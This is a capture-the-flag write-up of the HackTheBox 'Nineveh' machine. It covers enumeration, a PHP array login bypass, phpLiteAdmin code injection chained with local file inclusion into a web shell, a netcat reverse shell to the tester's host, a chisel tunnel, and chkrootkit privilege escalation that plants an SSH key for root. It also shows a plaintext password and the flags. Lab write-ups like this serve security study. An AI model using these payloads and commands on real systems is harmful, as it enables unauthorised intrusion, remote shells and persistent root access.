Nmap Results
# Nmap 7.93 scan initiated Mon Apr 3 23:48:32 2023 as: nmap -Pn -p- -T5 -A -oN scan.txt 10.10.10.43
Nmap scan report for 10.10.10.43
Host is up (0.022s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 21.73 ms 10.10.14.1
2 22.00 ms 10.10.10.43
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 3 23:49:49 2023 -- 1 IP address (1 host up) scanned in 77.58 seconds
Service Enumeration
TCP/80

Gobuster Enumeration
gobuster dir -u http://10.10.10.43 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html -r -t 100 -o gobuster.txt
/index.html (Status: 200) [Size: 178]
/info.php (Status: 200) [Size: 83689]
/department (Status: 200) [Size: 68]



Looking at the page source, there is some noteworthy information:
- MySQL database
- Possible usernames:
- admin
- amrois
Testing the Login Page
As far as fixing the login page, that seems to indicate it has some potential vulnerability — possibly SQL injection.

When doing some manual testing, I noticed that the login page discloses valid usernames. The username admin
is definitely valid. The username amrois
is not — at least for this login page.
I tried some basic SQL injection payloads and didn't notice any behavior that would indicate a vulnerability. I also tried password spraying with hydra
against the admin
account on the login page, but couldn't find a valid password.
More Enumeration
I did a quick Google search for php login bypass
and came up with some interesting results — particularly this page from HackTricks.

Check the PHP comparisons error:user[]=a&pwd=b
,user=a&pwd[]=b
,user[]=a&pwd[]=b
I'm not familiar with this particular PHP vulnerability, so I Googled PHP comparisons error exploit
and came up with lots of results about type juggling, which led me to further research php login bypass type juggling
.


So, the advice to check the PHP comparisons error above works by testing if the PHP script is using loose or poorly-implemented type comparisons. If the password is using strcmp()
— and this function is expecting a string
in the password
field — but we instead say password[]
is an array, strcmp()
fails to analyze it due to the type mismatch.
Depending on the error control in the application, we may be able to bypass authentication entirely. Let's give it a go.
Testing the Login Page Again
# Parameters:
# -v : output HTTP headers
# -x : send request through a proxy (Burp)
# -X : http method to use (Post)
# -c : write cookies file
# -b : read cookies from file
# -s : less verbose output
# -L : follow redirects
# -d : data to send
curl -v -x http://127.0.0.1:8080 -X POST -s -c cookies.txt -b cookies.txt -s -L -d 'username=admin&password[]=""' http://10.10.10.43/department/login.php

Looking at the headers, it seems like the login was successful:
HTTP POST
the payloadusername=admin&password[]=""
to the login page- The login page redirected us to
manage.php
manage.php
loaded and rendered in the output
Let's see the request in Burp.


We can just take that PHPSESSID
cookie and stick it in our browser:
- Open the developer tools on your browser
- Go to the
Application
tab - Go to
Cookies
and expand it, then choose the target URL

Double click the string in the Value
field and paste in your cookie and press the Enter key. Then reload the page.

Testing for File Inclusion Vulnerability
There's not much to the application here, but we should be looking for potential input points. Hovering over the Notes
link at the top, I see a potential input point that could yield a file inclusion vulnerability; http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt
.
When you click the Notes
link, it cause the application to load the ninevehNotes.txt
file from the ./files
relative path on the server.

I was playing around with a bunch of different payloads and it seems like the manage.php
script validates the ?notes
parameter for the keyword ninevehNotes
.



So, the question is, where does ninevehNotes
fit into the application's logic when checking the ?notes
parameter.

That was a chore to find, but it totally makes sense now that I look at it. If there's a ./files/ninevehNotes.txt
file, why wouldn't there be ./files/ninevehNotes/
directory that's supposedly hidden in plain sight?
What we're doing here is causing the PHP include()
function to traverse out of the ./files/ninevehNotes/
directory back to the /
root of the file system and down into /etc/passwd
.
This file inclusion vulnerability does not allow for remote file inclusion and PHP filters aren't possible. We need to enumerate some more to see if we can find some way to leverage this file inclusion to execute a reverse shell payload.
TCP/443
ssl-cert: Subject: commonName=nineveh.htb

There didn't appear to be any discernable difference when using nineveh.htb
as a hostname with web requests.
Gobuster Enumeration
gobuster dir -k -u https://10.10.10.43 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html -r -t 100 -o gobuster-443.txt
/index.html (Status: 200) [Size: 49]
/db (Status: 200) [Size: 11430]
/secure_notes (Status: 200) [Size: 71]

The /secure_notes/
directory doesn't reveal anything interesting. I tried enumerating any kind of document files — txt
, doc
, docx
, md
— in this diretory with gobuster
, but didn't come up with anything.

The /db/
directory loads phpLiteAdmin
, which is a web front end that allows an admin to manage databases with a GUI. We can try bruteforcing this password field with hydra
. Let's inspect a request with the browser developer tools.



With this information, we can craft a hydra
template to bruteforce this login page.
# -I : ignore restore file
# -f : stop when password found
# -V : verbose output
# -l : single username (required)
# -P : password list
# http-post-form : module name
hydra -I -f -V -l '' -P /usr/share/seclists/Passwords/probable-v2-top1575.txt 10.10.10.43 https-post-form '/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:C=/db/index.php:F=Incorrect password.'

Exploring the Database

We have a SQLite database named, test
loaded from /var/tmp/test
. This database does not contain any tables, so doesn't look there'll be any usernames/hashes to enumerate. Let's see what exploits exist for this version of phpLiteAdmin
.

The Remote PHP Code Injection
vulnerability looks interesting, and would pair nicely with the file inclusion vulnerability on TCP/80
. Let's look at the exploit more in order to understand how it works.
searchsploit -m 24044
cat 24044.txt
It looks like this will work perfectly with the target. The exploit works like this:
- Create a new database with a
.php
extension. This overrides the default file extension appended by the SQL server. - Now that we have a valid
.php
file extension, we write a very small PHP script to the database file. - Now, if the
.php
file is loaded by a client browser application, it will cause the server to execute the PHP script.
Testing the Exploit






Excellent...
Exploit
PHP File Injection + LFI
Web Shell
Following the procedure from above, I'm going to create a PHP web shell
<?php system($_GET["pwn"]) ?>
What we're doing here is creating a PHP script that runs system()
on the ?pwn
parameter passed with requests. We can execute the payload with LFI by doing something like this:
http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../var/tmp/pwn.php&pwn=ping%20-c%201%2010.10.14.13

Reverse Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 443 >/tmp/f

sudo rlwrap nc -lnvp 443
curl -X POST -s -c cookies.txt -b cookies.txt -L -d 'username=admin&password[]=""' http://10.10.10.43/department/login.php > /dev/null
curl -X GET -s -c cookies.txt -b cookies.txt 'http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../var/tmp/pwn.php&pwn=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%34%2e%31%33%20%34%34%33%20%3e%2f%74%6d%70%2f%66' > /dev/null

TTY Upgrade
/usr/bin/python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=linux
Post-Exploit Enumeration
Operating Environment
OS & Kernel
NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sorry, user www-data may not run sudo on nineveh.htb.
Users and Groups
Local Users
amrois:x:1000:1000:,,,:/home/amrois:/bin/bash
Local Groups
amrois:x:1000
Network Configurations
Interfaces
ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:5e:19 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.43/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
TCP/22
is showing open here on all interfaces, despite not showing up in the initial nmap
scan. This makes me suspect some kind of firewall / port knocking solution is in place.
Interesting Files
/var/www/html/department/login.php
$USER = 'admin';
$PASS = '1q2w3e4r5t';
This password could have easily been brute-forced.
/report/*.txt
I am just going to add some lines that look interesting from the files in this directory. There is clearly a cron job running a script every minute which scans the system for anomalies, and outputs the reports here.
Checking `ldsopreload'... can't exec ./strings-static, not tested
Searching for suspicious files and dirs, it may take a while...
/lib/modules/4.4.0-62-generic/vdso/.build-id
/lib/modules/4.4.0-62-generic/vdso/.build-id
Searching for Suckit rootkit... Warning: /sbin/init INFECTED
Searching for anomalies in shell history files... Warning: `//root/.bash_history' is linked to another file
/var/mail/amrois
From root@nineveh.htb Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
Amrois! please knock the door next time! 571 290 911
This is almost certainly a port knocking sequence.
Privilege Escalation
More Enumeration
Finding Accessible Files
I was doing some enumeration trying to find an escalation path to root
or amrois
. I did manage to find some interesting files using the find
command:
find / -user amrois \( -readable -o -writable \) 2>/dev/null
But, all of the breadcrumbs I was seeing didn't seem to be relevant to my session as www-data
, and seemed like I needed to pivot laterally to amrois
.
Searching for Usernames and Passwords
I started throwing this command around in some random directories to see what might stick:
cd /var/www
grep -ilr amrois . 2>/dev/null
And, I got a really strange hit at first in the /var/www
directory:

I was amused to find the string, amrois
inside a .png
file — a nice little stego challenge.





Lateral Pivot to Amrois
Knock on the Door!
I paste the private key string into a local file, set the permissions, and try to SSH in as amrois
.
ssh -i nineveh.priv amrois@10.10.10.43
But, it doesn't work! The connection is hanging. Then, I remembered the port knocking sequence in /var/mail/amrois
. The firewall likely won't let me in until I knock the right combination.
Looking at the contents of /etc/knockd.conf
, I need to do the following to allow my IP address to access TCP/22
on the target:
- Send three
SYN
TCP
packets within5
seconds - Any longer, the sequence will not be processed
- They need to be in this order:
571
,290
,911
# hping 3 options:
# -n : numerical output
# -c : number of packets to send
# -i : duration to wait for reply in seconds
# -S : TCP SYN flag set
# -p : destination port
for port in {571,290,911}; do sudo hping3 10.10.10.43 -n -c 1 -i 1 -S -p $port ; done
This one-liner will loop over each port in the array {571,290,911}
and use hping3
in TCP/SYN
mode to send a single packet to the target address.


chisel
.Port Knock Workaround: Chisel
Download Chisel binary
gunzip chisel_1.8.1_linux_amd64.gz
mv chisel_1.8.1_linux_amd64 chisel
chmod u+x chisel
Transfer Chisel Binary to Target

Start a Python HTTP server to host the chisel
binary and use wget
on the target to download it locally.
Tunnel the Port
sudo ./chisel server --port 443 --reverse &
chmod +x /tmp/chisel
/tmp/chisel client 10.10.14.13:443 R:2222:127.0.0.1:22 &

SSH to the Target


Escalate to Root
More Enumeration
I spent a good bit thinking about anything appeared interesting about the this target. And, two things seemed a bit odd to me.
amrois
crontab running/usr/sbin/report-reset.sh
every 10 minutes- And, the reports themselves, whcih are obviously being generated by the
root
account, since it can read the file/root/.bash_history
.
So, I ran a query through Google:

Now, I'm not familiar with chrootkit
, so I did some more research on it.

Chkrootkit before 0.50 will run any executable file named /tmp/update
as root, allowing a trivial privilege escalation.
Test the Chrootkit Exploit
nano /tmp/update
#!/bin/bash
echo 'pwned!' > /home/amrois/i-got-root.txt
chmod 777 /tmp/update
The cron job runs every minute, so be patient.

Easy Win
nano /tmp/update
#!/bin/bash
amrois_pub_key='ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY//CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc/gUflmurSeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7/X/FyXrUsANxiTRLDjZs5v7IETJzVNOrU0R'
if ! [[ -d /root/.ssh ]]; then mkdir /root/.ssh; fi
if ! [[ -f /root/.ssh/authorized_keys ]]; then
touch /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
fi
if ! grep $amrois_pub_key /root/.ssh/authorized_keys > /dev/null ; then
echo $amrois_pub_key >> /root/.ssh/authorized_keys
fi
Wait a minute for the script to run.

Flags
User
bc098f9cc12196a0f60bcf097c7178a9
Root
568b2521c76de2381b164bfcbaa3ec8f